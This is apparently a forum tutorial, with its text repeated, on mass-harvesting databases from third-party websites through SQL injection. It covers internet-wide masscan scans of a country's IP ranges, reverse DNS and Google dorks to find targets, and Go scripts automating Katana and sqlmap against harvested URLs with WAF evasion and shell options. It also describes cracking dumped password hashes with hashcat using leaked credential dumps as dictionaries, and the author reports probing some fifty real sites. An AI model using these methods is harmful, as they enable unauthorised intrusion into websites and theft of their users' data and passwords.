In this article, we will look at a classic SQL injection vulnerability that can be used to gain access to databases related to the country or topic you are interested in. We will go from zero to obtaining a database. How to find vulnerable sites? What is an SQL injection? At what points is there a potential for vulnerabilities to occur? What to do after they are discovered?
Sections
Search for vulnerable sites — search options, parsing using DNS, automation.
Points of occurrence — types of SQL injections, dorks, crawler, automation of the attack.
Vulnerability search — scanners, SQLmap.
Received database — removing hashes/salts.
How to find websites?
First of all, to obtain databases, you need to find sites that may have vulnerabilities that allow you to access this data. We are talking about thousands, tens and hundreds of thousands of sites. Most sites, especially large and popular ones, will not have "low-hanging fruit", but the more sites, the better the chances. It is also necessary to somehow categorize them. What options for searching sites can be offered? Let's do a little brainstorming:
Google and other search engines are a pretty good option. Automation of search can be complicated by CAPTCHA and IP blocking. You can use ready-made solutions, for example, parsers like A-Parser.
Shodan and similar ones are also a good option. You can immediately filter by technology or look for vulnerable systems (most likely already found by someone earlier).
Semrush and similar ones allow you to sort options by category well, as well as automate the search via API.
Various directories - Before search engines, the internet was made up of directories. They still exist.
Social media parsing - For example, to find cryptocurrency sites, you can try parsing chats and channels in Telegram, recursively following links to other channels and collecting all external links.
I came up with another idea that I will focus on in this article, namely, searching for domains using reverse DNS.
DNS
Domain names on the Internet are created solely for the convenience of users. When you type a domain name into the address bar of your browser, a series of processes occur, one of which involves the use of the DNS protocol.
DNS (Domain Name System) is a system that translates domain names, such as example.com, into IP addresses, such as 192.0.2.1. First, the browser will try to get data from the cache, and if this attempt is unsuccessful, it will contact the server that is responsible for translating domain names - the DNS server. Then there will be several steps (they are discussed in detail in this video), after which the browser will determine which IP address to send the request to.
It turns out that DNS is a kind of data directory in which all the correspondences between IP addresses and domain names are recorded. Why then search for something if you can just use this system and check the entire Internet for vulnerabilities? However, this is not so. The thing is that DNS is not a public system. There is no direct way that I know of to send a request like “give me all the domain names in the .shop zone for country NE” and get a list of them. But you can try to collect such a list yourself.
This process is called reverse DNS lookup, and it determines the domain name by the IP address. DNS has a number of different types of records that store information about domains. For example, A records associate domain names with IP addresses. Among other records, there is a PTR record (Pointer Record), which is the opposite of an A record. To perform a reverse DNS lookup, you can use several tools, such as dig, nslookup or host. The easiest way is to use host.
Of the obvious problems that we will encounter are services like Cloudflare. Fortunately, their ranges are known and can be excluded in advance. There are also IP addresses of hostings, where multiple sites can be hosted on one IP. In such cases, we will only get one PTR record, and it will probably only refer to one domain. Let's try to implement a domain search in this way, let's move on to the practical part.
Reverse DNS in practice
First, you need to get a list of IP addresses for a specific country. I discussed the mechanism of this process in detail in the article about brute force DBMS. Let's get a list of IP addresses for country X.
Next, we will use the masscan utility to search for IP addresses on which sites can be launched. Which port to check? There are two options - either 80 or 443. Port 80 is usually open for HTTP, port 443 - for HTTPS. In this article, I will check port 443, but you can check both to find as many sites as possible (moreover, sites without HTTPS will be much more susceptible to vulnerabilities).
First, we execute the command sudo masscan 0.0.0.0/1 -p443 --rate=1000 -oL res.txt, starting a network scan with a speed limit of 1000 packets per second and writing the result to the res.txt file. Next, using a regular expression, we filter out only IP addresses, removing all unnecessary ones from the log. The masscan automation code was also described in the article on DBMS brute force. Let's make some changes to check port 443, and also fix a small bug:
To avoid overwriting the output file when going through each new network, we will slightly change the code: now we write the output of the masscan command via writer (i.e. to output.txt), adding new logs when processing each line of the file with IP addresses, and check port 443, not 27017.
It is worth saying that it is best if the resulting address networks are pre-selected by who they belong to. By excluding, for example, the ISP network, we will get rid of junk domains (such as those with the adsl- and cdma- prefixes). It is also worth checking in advance whether the network belongs to a CDN (Content Delivery Network) or WAF (Web Application Firewall); this information is usually publicly available on their websites. However, you can simply leave the code running for a few days and then get the results.
So, having filtered out IP addresses with open ports 443, we proceed to searching for reverse DNS. The code is written in Golang:
Take IP addresses from the ip_only.txt file.
Open the hostlog.txt file for writing in append mode; if the file does not exist, it will be created (same as with mass scan).
Create a NewWriter to write the buffer data to the file.
Go through each line of the file with IP addresses using the scanner.
Execute the host command for the current IP address.
Get the output of the host command.
Write the result of the host command to the hostlog.txt file. Only successful results will be written to the file; if the domain could not be found, information about this will be displayed in the log.
Reset the buffer for writing.
Get the scan results. I got about 1-2 domains per 1000 IP addresses from several completely random networks. Next, you need to collect the links of interest. It is quite difficult to come up with any automation here; the first thing that comes to mind is selection by domain. For example, the .shop domain will most likely have some kind of store, although many stores will be on other domains. Also, many records will point to subdomains (like mail.site.com, not site.com). Here you can come up with some kind of powerful regular expression, but at this stage I will simply select the links manually. In a day, using such code, you can find several hundred sites of the desired country (and if you connect goroutines to it, the process will go even faster; you can read more about goroutines in the article about brute-force mail servers).
This is not the most ideal way to search for targets, but I found it quite interesting. You can use it or come up with your own version. The advantages of this method are its relative cheapness, the disadvantages are that you need to fine-tune the process of obtaining domains in the desired format (although you will still have to visually check the site, its traffic and value manually).
Since there is an infinite amount of material written about this, I will describe only the basic information:
SQL (Structured Query Language) is a special declarative programming language that is used to manage relational databases. "Relational" means that the data in the database is related to each other. Like regular tables in Excel, but each table is related to another.
The SQL language is implemented directly in the database management system (for example, PostgreSQL or MySQL), that is, the SQL syntax will differ slightly depending on the DBMS, although in functional terms it will be almost identical.
In-depth knowledge is not required to implement SQL injections, but a general understanding is necessary. If you don't understand SQL very well, first take some general course, for example, at codecademy.com/learn/learn-sql (it seems to be completely free and interactive).
Injections are the introduction of code, malicious or not, into the system. They can be not only in SQL queries, but, for example, in XML, NoSQL (like MongoDB), JavaScript and generally anywhere.
With the help of SQL injections, you can get the entire website database, including accounts, maps, if they are stored in the database, and other information.
A short excursion into the work of a web application. There is a server on which the logic of the site is written. The database is a separate entity, which the server code accesses during interaction with the application. The user clicks a button → calls a function on the server → the server accesses the database → the database returns the result → the server returns the result to the user → the client code renders the result.
The apostrophe (or quotation marks) symbol is literally associated with SQL injections. A classic example: when a user writes admin'-- on the authentication page and gets into the account by entering any password, this clearly demonstrates this. However, this is not what we are interested in; this is essentially an attack within a POST request, and it will not allow you to get anything from the database (or it will be extremely difficult).
To get the database, you need to find the points where the database requests some information. For example, in an online store, only available products are displayed on the page. We add '-- to the address bar and find an error (which indicates an SQL vulnerability). After that, we change the payload to '+OR+1=1 and get all the products, including hidden ones. Under the hood, the database executes SELECT + WHERE statements, but instead of checking the condition, we substitute a true Boolean state (since 1 is always equal to 1), thereby ignoring additional checks.
But using the UNION operator would be much more useful. UNION combines queries within tables. In SQL, combining is not horizontal, but vertical. That is, if we have two Excel tables: one with 2 columns, the other with 3 columns, then combining them by adding five columns will not work; as a result, the combined table will contain only 2 columns. Therefore, the first stage of a UNION attack is to determine the number of columns in the response from the DBMS. For this, the ORDER BY or UNION SELECT NULL operator is used. It is also worth remembering that we cannot combine different types of data, such as numbers with strings, but only similar ones.
When we see the result of a query in the response from a site, these are essentially classic SQL injections, but this is not always the case. If the site does not return an explicit response, this does not mean that we cannot get it. We can still get the database on such a site if we detect a so-called blind injection. There are two types of blind injections: Boolean (when the site returns different responses for true and false states) and time-base (when the site's response comes with different time intervals for true and false states).
Another type is out-of-band injections. Returning to the diagram, here it will be a little different: after clicking the button and running the server function, the database returns the result, but this time the server returns the result to a third-party (our) server. If you have worked with Burp Intruder, you understand what I mean. In fact, Intruder is just a server, you can implement it yourself and receive responses from the database.
There are also second-order SQL injections. For example, in an online store, we can add a product ourselves; along with the name, we also add a payload that changes the administrator password, it is saved in the database and is called on another page, for example, with the display of the product. After that, we can get into the administrator account.
SQL injection points of appearance are any communication between the server and the DBMS! This can also include cookies (after all, the scheme of communication and cookie verification is the same as in the example with the button). Any communication points.
For a more detailed acquaintance, be sure to take the course at Web Security Academy — What is SQL Injection? Tutorial & Examples , and also watch the course by Rana Khalil at
When learning about SQL injections, you might have heard about so-called dorks. In general, dorks are search engine queries that typically use special search operators and reveal more information than intended. For example, the query bookname filetype
df is a dork that allows you to find PDF documents with the desired book (it works about half the time). Or, for example, the dork "START test_database" ext:log allows you to find logs that may contain useful information, such as the username. The dork filetype:sql "insert into" (pass|passwd|password) finds password records in the database (or rather, honeypods). There are many dorks, and examples can be found in the Google Hacking Database (GHDB) - Google Dorks.
But what are dorks for SQL injections? SQL injection dorks are queries that interact with the database, which means there is potential for identifying vulnerabilities.
For example, let's take something from the list SQL-injection-dorks-list/google dorks for sql injection.txt on GitHub. Let's say this is a dork products/product.php?pid=. The search query will be inurl:"products/product.php?pid=", you can also add keywords, for example, shop, and we will get ready-made links that you can work with.
Using this logic, you can easily create your own dorks.
By the way, dorks can be used not only in Google, but also in Shodan or even in the Wayback Machine.
Web crawlers are programs that crawl the entire site, "pressing every button", thereby creating a complete site map. If in the dorks we immediately found endpoints whose logic accesses the database, now we will go the other way: we will explore the entire site in search of these endpoints. Katana will help us with this.
Katana is a CLI web crawler written in Go. The official repository is available on GitHub. The program can be installed using the command:
go install github.com/projectdiscovery/katana/cmd/katana@latest
I recommend choosing flags for Katana yourself. Here is an example of my version: katana -u https://domen.com/ -silent -kf all -d 3 -jsl -jc -o urls.txt
-u specifies the URL that will be scanned.
-silent suppresses the output of unnecessary information and errors, leaving only the results.
-kf all enables all filters for extracting URLs, including links from HTML, JavaScript and other sources available on the page.
-d 3 specifies the scanning depth.
-jsl specifies the extraction of links from JavaScript files.
-jc extracts the JavaScript context, that is, links that appear as a result of scripts (for example, dynamically created links).
-o urls.txt specifies the output file where the results will be saved. In this case, all found URLs will be written to the urls.txt file.
Let's implement the script in Go similar to the previous ones (for some reason Katana did not want to work with the link file). Since the program gives the log in parts, we will change the logic. Instead of using the CombinedOutput method, which waits for the command to complete and returns the entire output, we will use StdoutPipe() to read the data as it arrives.
SQLmap is a utility for automating SQL injection exploitation. It can dump databases, and if everything goes well, the process is pretty simple. Basically, we read the log, answer questions, find the vulnerability, get the databases, then the tables, then the records, then the dump. You can try it on a test database http://testphp.vulnweb.com/.
The plan is as follows: pass a link to SQLmap (a link where either there is a vulnerability or where it could potentially be) and try to get the database. Yes, but no. In a few hours, I checked about fifty targets (which did not seem particularly secure) and found only one error-based SQL vulnerability. Next, the plan was to get the databases (using length and comparing with ASCII character numbers), then the tables, but at this point the WAF came into play and ruined all the plans. WAF blocked any SELECT, sub-SELECT, UNION, quotes, getting table schema — all at the function call level, not at the syntax level. No matter how hard I tried, I couldn't get a list of tables. We can say that this is not the most effective way to search for databases. During this time, I easily found several databases using dorks, and wrote several of my own dorks based on the existing ones. But still, this is a valid method.
To speed up SQLmap, I recommend, if possible, finding out the DBMS on the site in advance (for example, via Shodan or over an open port using nmap, or checking manually if you already see a vulnerability). Be sure to use the --random-agent flag, because by default SQLmap uses its own user agent. If you want SQLmap to answer questions automatically, use the --batch flag (which, however, is not always the most optimal strategy, but you can customize the answers). Use a proxy or Tor, streams, level and risk flags, and tampers to bypass WAF. SQLmap can also install sqlshell and even osshell. Command for automatic work: sqlmap -m potential_sqli_urls.txt --batch --risk 3 --level 5
In parallel with working with SQLmap, I discovered a much faster way to collect potential vulnerability points using the Wayback Machine. Command:
waybackurls target | grep -E '\bhttps?://\S+?=\S+' | grep -E '.php|.asp' | sort -u | sed 's/(=[^&]*)/=/g' | tee urls.txt | sort -u -o urls.txt && cat urls.txt
(much faster than Katana).
I'll say a few words about CVE. Many of them will be on CMS no_name with 10 stars on GitHub. However, having studied its mechanism, you can make a note and search on similar CMS. There are still vulnerabilities like --' on products with users inside the systems. To check for targets under CVE, you need to make a dork for Google/Shodan and check as described in CVE. It will be difficult to find something unique, but I think many people think so, and in fact, you can find something.
Another option for finding a SQL injection vulnerability is to check using automatic scanning. For example, you can take Acunetix, load links to search for SQL injections into it, and after finding vulnerabilities, go to sqlmap. Initially, this option seemed interesting to me, but it showed itself to be weak: it missed SQLi where they were definitely there, and practically did not find new ones. I would recommend running a full scan and analyzing all the vulnerabilities of the site, it is more interesting.
To summarize, I want to say that the most interesting, in my opinion, is searching through dorks followed by using sqlmap. Searching through checking potential links is also a good option, but it can take a long time to get the result.
In most cases, after receiving a database, certain fields in it (usually passwords and other sensitive information) will not be in plain text, but in the form of gibberish called a hash.
Encoding and hashing are not the same thing. Both are the process of transforming data using a certain algorithm. The difference is that everything that is encoded can be decoded, and everything that is hashed cannot be unhashed. A hash function is, by definition, one-way.
The process works like this: when a user registers, the server generates a hash value based on their password and stores it in the database. Each time the user logs in, the server again generates a hash function and compares it with the one stored in the database. That is, it is not the passwords themselves that are checked, but their hash values.
There are many different hash algorithms. The main requirement for them is the absence of collisions: one input should give one output. Another feature is the rule: any size of the input is always the same size of the output. Since people often use the same passwords, you can create many potential reasonable password options and pass them through the hash function, getting all possible combinations. Then the database hash passwords are compared with the obtained results, which allows you to "skip" the process back (since we know the original data). This is called a rainbow table attack.
But what if during the hash generation the server adds an additional value X to each record? That is, password will turn into xpassword. In this case, the hash values \u200b\u200bwill completely change, and it will be almost impossible to guess them in a reasonable time, because there are already an infinite number of X options (X can be anything, of any length). This is called a salt.
Extracting the hash
Hash: 19b955d6fdb85b4dc95a8f2d3ab6eff0
First, you need to determine the hash type. You can use the hash-identifier utility for this, or ChatGPT also does a great job. In this case, it's MD5.
Next, dehashing. There are online services, for example, hashes.com. One request — and we extracted the hash, having learned the password.
But what if we have a large number of hashes? How to organize an attack using rainbow tables?
To attack, you will need a dictionary. It can be collected from passwords that have previously leaked onto the network. Go to Telegram and find several channels with databases. Logs, passwords from GitHub repositories — in general, any real passwords of people — will also work.
Let's move on to the code:
Save the found files to the base directory.
Create a res.txt file to store passwords.
Go through all the .txt files in the base directory.
Delete duplicates from res.txt.
The function for processing each file checks if there is a colon in the line, splits the line at the colon, checks the length of the second part and writes the result to the file.
The function for removing duplicates from the file opens the file, reads the lines into the map and reopens the file with unique lines.
The password database is ready. You can implement the attack yourself, but you can use ready-made tools, for example, hashcat. The command will be as follows: hashcat -m 0 -a 0 "19b955d6fdb85b4dc95a8f2d3ab6eff0" res.txt
-m 0 — specifies the operating mode, hash type.
-a 0 — specifies the attack type, in this case it is a dictionary attack.
Next we specify the hash and dictionary.
John the Ripper is also suitable for this task.
The next hash is 2a10$JCXAlrowI4neyj/lOXrb2ORp1hcpOAUR9GzHXyUkWDs3KHl0zMIOC
We determine the hash (we will use ChatGPT for this) + CyberChef, making sure that it is bcrypt. In this case, the attack will be difficult. Bcrypt can be implemented using a random salt, which will be difficult to guess using a dictionary. In this case, we will not be able to get passwords in their pure form. You can try to find the salt in the source code of the site or look for additional vulnerabilities that will reveal this information. It may happen that you get a database dump, but the hashes will be well protected from attacks.
To sum it up: SQL injections still exist and can be successfully exploited if scaled properly, although there will be many defenses along the way.
Sections
Search for vulnerable sites — search options, parsing using DNS, automation.
Points of occurrence — types of SQL injections, dorks, crawler, automation of the attack.
Vulnerability search — scanners, SQLmap.
Received database — removing hashes/salts.
How to find websites?
First of all, to obtain databases, you need to find sites that may have vulnerabilities that allow you to access this data. We are talking about thousands, tens and hundreds of thousands of sites. Most sites, especially large and popular ones, will not have "low-hanging fruit", but the more sites, the better the chances. It is also necessary to somehow categorize them. What options for searching sites can be offered? Let's do a little brainstorming:
Google and other search engines are a pretty good option. Automation of search can be complicated by CAPTCHA and IP blocking. You can use ready-made solutions, for example, parsers like A-Parser.
Shodan and similar ones are also a good option. You can immediately filter by technology or look for vulnerable systems (most likely already found by someone earlier).
Semrush and similar ones allow you to sort options by category well, as well as automate the search via API.
Various directories - Before search engines, the internet was made up of directories. They still exist.
Social media parsing - For example, to find cryptocurrency sites, you can try parsing chats and channels in Telegram, recursively following links to other channels and collecting all external links.
I came up with another idea that I will focus on in this article, namely, searching for domains using reverse DNS.
DNS
Domain names on the Internet are created solely for the convenience of users. When you type a domain name into the address bar of your browser, a series of processes occur, one of which involves the use of the DNS protocol.
DNS (Domain Name System) is a system that translates domain names, such as example.com, into IP addresses, such as 192.0.2.1. First, the browser will try to get data from the cache, and if this attempt is unsuccessful, it will contact the server that is responsible for translating domain names - the DNS server. Then there will be several steps (they are discussed in detail in this video), after which the browser will determine which IP address to send the request to.
It turns out that DNS is a kind of data directory in which all the correspondences between IP addresses and domain names are recorded. Why then search for something if you can just use this system and check the entire Internet for vulnerabilities? However, this is not so. The thing is that DNS is not a public system. There is no direct way that I know of to send a request like “give me all the domain names in the .shop zone for country NE” and get a list of them. But you can try to collect such a list yourself.
This process is called reverse DNS lookup, and it determines the domain name by the IP address. DNS has a number of different types of records that store information about domains. For example, A records associate domain names with IP addresses. Among other records, there is a PTR record (Pointer Record), which is the opposite of an A record. To perform a reverse DNS lookup, you can use several tools, such as dig, nslookup or host. The easiest way is to use host.
Of the obvious problems that we will encounter are services like Cloudflare. Fortunately, their ranges are known and can be excluded in advance. There are also IP addresses of hostings, where multiple sites can be hosted on one IP. In such cases, we will only get one PTR record, and it will probably only refer to one domain. Let's try to implement a domain search in this way, let's move on to the practical part.
Reverse DNS in practice
First, you need to get a list of IP addresses for a specific country. I discussed the mechanism of this process in detail in the article about brute force DBMS. Let's get a list of IP addresses for country X.
Next, we will use the masscan utility to search for IP addresses on which sites can be launched. Which port to check? There are two options - either 80 or 443. Port 80 is usually open for HTTP, port 443 - for HTTPS. In this article, I will check port 443, but you can check both to find as many sites as possible (moreover, sites without HTTPS will be much more susceptible to vulnerabilities).
First, we execute the command sudo masscan 0.0.0.0/1 -p443 --rate=1000 -oL res.txt, starting a network scan with a speed limit of 1000 packets per second and writing the result to the res.txt file. Next, using a regular expression, we filter out only IP addresses, removing all unnecessary ones from the log. The masscan automation code was also described in the article on DBMS brute force. Let's make some changes to check port 443, and also fix a small bug:
C:
package main
import (
"bufio"
"fmt"
"os"
"os/exec"
)
func main() {
file, err := os.Open("NA_ip_ranges.txt")
if err != nil {
fmt.Println("Error opening file:", err)
return
}
defer file.Close()
outputFile, err := os.OpenFile("output.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
fmt.Println("Error opening file for output:", err)
return
}
defer outputFile.Close()
writer := bufio.NewWriter(outputFile)
scanner := bufio.NewScanner(file)
for scanner.Scan() {
ipRange := scanner.Text()
cmd := exec.Command("masscan", "-p443", ipRange, "--rate", "1000", "-oG", "-")
cmd.Stdout = writer
cmd.Stderr = writer
if err := cmd.Run(); err != nil {
fmt.Printf("Error executing command for range %s: %v\n", ipRange, err)
} else {
fmt.Printf("Command executed successfully for range %s\n", ipRange)
}
writer.Flush()
}
if err := scanner.Err(); err != nil {
fmt.Println("Error reading file:", err)
return
}
grepCmd := exec.Command("grep", "-oP", "\\b\\d{1,3}(\\.\\d{1,3}){3}\\b", "output.txt")
ipOnlyFile, err := os.Create("ip_only.txt")
if err != nil {
fmt.Println("Error creating file for IP addresses:", err)
return
}
defer ipOnlyFile.Close()
grepCmd.Stdout = ipOnlyFile
grepCmd.Stderr = os.Stderr
if err := grepCmd.Run(); err != nil {
fmt.Printf("Error executing grep command: %v\n", err)
} else {
fmt.Println("Grep command executed successfully, IP addresses saved to ip_only.txt")
}
}To avoid overwriting the output file when going through each new network, we will slightly change the code: now we write the output of the masscan command via writer (i.e. to output.txt), adding new logs when processing each line of the file with IP addresses, and check port 443, not 27017.
It is worth saying that it is best if the resulting address networks are pre-selected by who they belong to. By excluding, for example, the ISP network, we will get rid of junk domains (such as those with the adsl- and cdma- prefixes). It is also worth checking in advance whether the network belongs to a CDN (Content Delivery Network) or WAF (Web Application Firewall); this information is usually publicly available on their websites. However, you can simply leave the code running for a few days and then get the results.
So, having filtered out IP addresses with open ports 443, we proceed to searching for reverse DNS. The code is written in Golang:
C:
func main() {
// 1
ipOnlyFileToRead, err := os.Open("ip_only.txt")
if err != nil {
fmt.Println("Ошибка при открытии файла ip_only.txt:", err)
return
}
defer ipOnlyFileToRead.Close()
// 2
hostLogFile, err := os.OpenFile("hostlog.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
fmt.Println("Ошибка при открытии файла для логов:", err)
return
}
defer hostLogFile.Close()
// 3
hostLogWriter := bufio.NewWriter(hostLogFile)
// 4
ipScanner := bufio.NewScanner(ipOnlyFileToRead)
for ipScanner.Scan() {
ip := ipScanner.Text()
// 5
hostCmd := exec.Command("host", ip)
// 6
output, err := hostCmd.CombinedOutput()
if err != nil {
fmt.Printf("Ошибка при выполнении команды host для IP %s: %v\n", ip, err)
continue
}
// 7
_, err = hostLogWriter.WriteString(fmt.Sprintf("Результат для IP %s:\n%s\n", ip, string(output)))
if err != nil {
fmt.Println("Ошибка при записи в файл hostlog.txt:", err)
return
}
// 8
hostLogWriter.Flush()
}
if err := ipScanner.Err(); err != nil {
fmt.Println("Ошибка при чтении файла ip_only.txt:", err)
}
}Take IP addresses from the ip_only.txt file.
Open the hostlog.txt file for writing in append mode; if the file does not exist, it will be created (same as with mass scan).
Create a NewWriter to write the buffer data to the file.
Go through each line of the file with IP addresses using the scanner.
Execute the host command for the current IP address.
Get the output of the host command.
Write the result of the host command to the hostlog.txt file. Only successful results will be written to the file; if the domain could not be found, information about this will be displayed in the log.
Reset the buffer for writing.
Get the scan results. I got about 1-2 domains per 1000 IP addresses from several completely random networks. Next, you need to collect the links of interest. It is quite difficult to come up with any automation here; the first thing that comes to mind is selection by domain. For example, the .shop domain will most likely have some kind of store, although many stores will be on other domains. Also, many records will point to subdomains (like mail.site.com, not site.com). Here you can come up with some kind of powerful regular expression, but at this stage I will simply select the links manually. In a day, using such code, you can find several hundred sites of the desired country (and if you connect goroutines to it, the process will go even faster; you can read more about goroutines in the article about brute-force mail servers).
This is not the most ideal way to search for targets, but I found it quite interesting. You can use it or come up with your own version. The advantages of this method are its relative cheapness, the disadvantages are that you need to fine-tune the process of obtaining domains in the desired format (although you will still have to visually check the site, its traffic and value manually).
What is SQL injection?
This is probably the most well-known type of web vulnerability of all (competing only with XSS), and it still exists on the Internet, especially when using the vulnerability scanning method to test the maximum number of targets.Since there is an infinite amount of material written about this, I will describe only the basic information:
SQL (Structured Query Language) is a special declarative programming language that is used to manage relational databases. "Relational" means that the data in the database is related to each other. Like regular tables in Excel, but each table is related to another.
The SQL language is implemented directly in the database management system (for example, PostgreSQL or MySQL), that is, the SQL syntax will differ slightly depending on the DBMS, although in functional terms it will be almost identical.
In-depth knowledge is not required to implement SQL injections, but a general understanding is necessary. If you don't understand SQL very well, first take some general course, for example, at codecademy.com/learn/learn-sql (it seems to be completely free and interactive).
Injections are the introduction of code, malicious or not, into the system. They can be not only in SQL queries, but, for example, in XML, NoSQL (like MongoDB), JavaScript and generally anywhere.
With the help of SQL injections, you can get the entire website database, including accounts, maps, if they are stored in the database, and other information.
A short excursion into the work of a web application. There is a server on which the logic of the site is written. The database is a separate entity, which the server code accesses during interaction with the application. The user clicks a button → calls a function on the server → the server accesses the database → the database returns the result → the server returns the result to the user → the client code renders the result.
The apostrophe (or quotation marks) symbol is literally associated with SQL injections. A classic example: when a user writes admin'-- on the authentication page and gets into the account by entering any password, this clearly demonstrates this. However, this is not what we are interested in; this is essentially an attack within a POST request, and it will not allow you to get anything from the database (or it will be extremely difficult).
To get the database, you need to find the points where the database requests some information. For example, in an online store, only available products are displayed on the page. We add '-- to the address bar and find an error (which indicates an SQL vulnerability). After that, we change the payload to '+OR+1=1 and get all the products, including hidden ones. Under the hood, the database executes SELECT + WHERE statements, but instead of checking the condition, we substitute a true Boolean state (since 1 is always equal to 1), thereby ignoring additional checks.
But using the UNION operator would be much more useful. UNION combines queries within tables. In SQL, combining is not horizontal, but vertical. That is, if we have two Excel tables: one with 2 columns, the other with 3 columns, then combining them by adding five columns will not work; as a result, the combined table will contain only 2 columns. Therefore, the first stage of a UNION attack is to determine the number of columns in the response from the DBMS. For this, the ORDER BY or UNION SELECT NULL operator is used. It is also worth remembering that we cannot combine different types of data, such as numbers with strings, but only similar ones.
When we see the result of a query in the response from a site, these are essentially classic SQL injections, but this is not always the case. If the site does not return an explicit response, this does not mean that we cannot get it. We can still get the database on such a site if we detect a so-called blind injection. There are two types of blind injections: Boolean (when the site returns different responses for true and false states) and time-base (when the site's response comes with different time intervals for true and false states).
Another type is out-of-band injections. Returning to the diagram, here it will be a little different: after clicking the button and running the server function, the database returns the result, but this time the server returns the result to a third-party (our) server. If you have worked with Burp Intruder, you understand what I mean. In fact, Intruder is just a server, you can implement it yourself and receive responses from the database.
There are also second-order SQL injections. For example, in an online store, we can add a product ourselves; along with the name, we also add a payload that changes the administrator password, it is saved in the database and is called on another page, for example, with the display of the product. After that, we can get into the administrator account.
SQL injection points of appearance are any communication between the server and the DBMS! This can also include cookies (after all, the scheme of communication and cookie verification is the same as in the example with the button). Any communication points.
For a more detailed acquaintance, be sure to take the course at Web Security Academy — What is SQL Injection? Tutorial & Examples , and also watch the course by Rana Khalil at
Dorks
When learning about SQL injections, you might have heard about so-called dorks. In general, dorks are search engine queries that typically use special search operators and reveal more information than intended. For example, the query bookname filetype
df is a dork that allows you to find PDF documents with the desired book (it works about half the time). Or, for example, the dork "START test_database" ext:log allows you to find logs that may contain useful information, such as the username. The dork filetype:sql "insert into" (pass|passwd|password) finds password records in the database (or rather, honeypods). There are many dorks, and examples can be found in the Google Hacking Database (GHDB) - Google Dorks.But what are dorks for SQL injections? SQL injection dorks are queries that interact with the database, which means there is potential for identifying vulnerabilities.
For example, let's take something from the list SQL-injection-dorks-list/google dorks for sql injection.txt on GitHub. Let's say this is a dork products/product.php?pid=. The search query will be inurl:"products/product.php?pid=", you can also add keywords, for example, shop, and we will get ready-made links that you can work with.
Using this logic, you can easily create your own dorks.
By the way, dorks can be used not only in Google, but also in Shodan or even in the Wayback Machine.
Web crawler
Web crawlers are programs that crawl the entire site, "pressing every button", thereby creating a complete site map. If in the dorks we immediately found endpoints whose logic accesses the database, now we will go the other way: we will explore the entire site in search of these endpoints. Katana will help us with this.
Katana is a CLI web crawler written in Go. The official repository is available on GitHub. The program can be installed using the command:
go install github.com/projectdiscovery/katana/cmd/katana@latest
I recommend choosing flags for Katana yourself. Here is an example of my version: katana -u https://domen.com/ -silent -kf all -d 3 -jsl -jc -o urls.txt
-u specifies the URL that will be scanned.
-silent suppresses the output of unnecessary information and errors, leaving only the results.
-kf all enables all filters for extracting URLs, including links from HTML, JavaScript and other sources available on the page.
-d 3 specifies the scanning depth.
-jsl specifies the extraction of links from JavaScript files.
-jc extracts the JavaScript context, that is, links that appear as a result of scripts (for example, dynamically created links).
-o urls.txt specifies the output file where the results will be saved. In this case, all found URLs will be written to the urls.txt file.
Let's implement the script in Go similar to the previous ones (for some reason Katana did not want to work with the link file). Since the program gives the log in parts, we will change the logic. Instead of using the CombinedOutput method, which waits for the command to complete and returns the entire output, we will use StdoutPipe() to read the data as it arrives.
C:
func main() {
domensFileToRead, err := os.Open("domens.txt")
if err != nil {
fmt.Println("Ошибка при открытии файла domens.txt:", err)
return
}
defer domensFileToRead.Close()
LogFile, err := os.OpenFile("log.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
fmt.Println("Ошибка при открытии файла для логов:", err)
return
}
defer LogFile.Close()
LogWriter := bufio.NewWriter(LogFile)
urlScanner := bufio.NewScanner(domensFileToRead)
for urlScanner.Scan() {
url := urlScanner.Text()
hostCmd := exec.Command("./katana", "-u", url, "-silent", "-kf", "all", "-d", "3", "-jsl", "-jc")
stdout, err := hostCmd.StdoutPipe()
if err != nil {
fmt.Printf("Ошибка при создании pipe для команды katana для url %s: %v\n", url, err)
continue
}
if err := hostCmd.Start(); err != nil {
fmt.Printf("Ошибка при запуске команды katana для url %s: %v\n", url, err)
continue
}
scanner := bufio.NewScanner(stdout)
for scanner.Scan() {
line := scanner.Text()
_, err := LogWriter.WriteString(fmt.Sprintf("%s\n", line))
if err != nil {
fmt.Println("Ошибка при записи в файл log.txt:", err)
return
}
LogWriter.Flush()
}
if err := scanner.Err(); err != nil {
fmt.Printf("Ошибка при чтении вывода katana для url %s: %v\n", url, err)
}
if err := hostCmd.Wait(); err != nil {
fmt.Printf("Команда katana завершилась с ошибкой для url %s: %v\n", url, err)
}
}
if err := urlScanner.Err(); err != nil {
fmt.Println("Ошибка при чтении файла domens.txt:", err)
}
}Sqlmap
SQLmap is a utility for automating SQL injection exploitation. It can dump databases, and if everything goes well, the process is pretty simple. Basically, we read the log, answer questions, find the vulnerability, get the databases, then the tables, then the records, then the dump. You can try it on a test database http://testphp.vulnweb.com/.
The plan is as follows: pass a link to SQLmap (a link where either there is a vulnerability or where it could potentially be) and try to get the database. Yes, but no. In a few hours, I checked about fifty targets (which did not seem particularly secure) and found only one error-based SQL vulnerability. Next, the plan was to get the databases (using length and comparing with ASCII character numbers), then the tables, but at this point the WAF came into play and ruined all the plans. WAF blocked any SELECT, sub-SELECT, UNION, quotes, getting table schema — all at the function call level, not at the syntax level. No matter how hard I tried, I couldn't get a list of tables. We can say that this is not the most effective way to search for databases. During this time, I easily found several databases using dorks, and wrote several of my own dorks based on the existing ones. But still, this is a valid method.
To speed up SQLmap, I recommend, if possible, finding out the DBMS on the site in advance (for example, via Shodan or over an open port using nmap, or checking manually if you already see a vulnerability). Be sure to use the --random-agent flag, because by default SQLmap uses its own user agent. If you want SQLmap to answer questions automatically, use the --batch flag (which, however, is not always the most optimal strategy, but you can customize the answers). Use a proxy or Tor, streams, level and risk flags, and tampers to bypass WAF. SQLmap can also install sqlshell and even osshell. Command for automatic work: sqlmap -m potential_sqli_urls.txt --batch --risk 3 --level 5
In parallel with working with SQLmap, I discovered a much faster way to collect potential vulnerability points using the Wayback Machine. Command:
waybackurls target | grep -E '\bhttps?://\S+?=\S+' | grep -E '.php|.asp' | sort -u | sed 's/(=[^&]*)/=/g' | tee urls.txt | sort -u -o urls.txt && cat urls.txt
(much faster than Katana).
CVE
